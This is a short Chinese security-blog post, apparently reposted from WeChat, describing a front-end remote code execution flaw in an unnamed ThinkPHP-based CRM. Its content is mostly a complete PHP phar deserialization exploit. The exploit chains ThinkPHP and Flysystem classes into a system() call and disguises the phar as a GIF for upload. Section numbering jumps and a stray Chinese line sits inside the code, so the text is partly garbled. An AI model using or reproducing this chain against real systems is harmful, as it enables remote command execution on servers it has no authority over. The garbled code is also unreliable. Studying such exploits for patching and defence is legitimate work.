一、前言
这是之前的一个库存了,现在发出来大家一期学习,现在官方已经打了相关补丁,一起来学习一下。
二、审计流程
是一个PHP的相关源码,载入源码进行查看架构。
<?php
namespace LeagueFlysystemCachedStorage{
class Psr6Cache{
private $pool;
protected $autosave = false;
public function __construct($exp)
{
$this->pool = $exp;
}
}
}
namespace thinklog{
class Channel{
protected $logger;
protected $lazy = true;
public function __construct($exp)
{
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think{
class Request{
protected $url;
public function __construct()
{
$this->url = '<?= system('要执行的命令'); exit(); ?>';
}
}
class App{
protected $instances = [];
public function __construct()
{
$this->instances = ['thinkRequest'=>new Request()];
}
}
}
namespace thinkviewdriver{
class Php{}
}
namespace thinklogdriver{
class Socket{
protected $config = [];
protected $app;
protected $clientArg = [];
public function __construct()
{
$this->config = [
注册⽤户后上传⽂件
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids' => '',
'format_head' => [new thinkviewdriverPhp,'display'], # 利⽤类和⽅法
];
$this->app = new thinkApp();
$this->clientArg = ['tabid'=>'1'];
}
}
}
namespace {
@unlink('shell.png');
$phar = new Phar("phar.phar"); //
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$c = new thinklogdriverSocket();
$b = new thinklogChannel($c);
$a = new LeagueFlysystemCachedStoragePsr6Cache($b);
$phar->setMetadata($a);
$phar->addFromString("a", "a"); //添加要压缩的⽂件
$phar->stopBuffering();
}
?>
五、完结
原文始发于微信公众号(进击安全):某CRM系统前台RCE漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论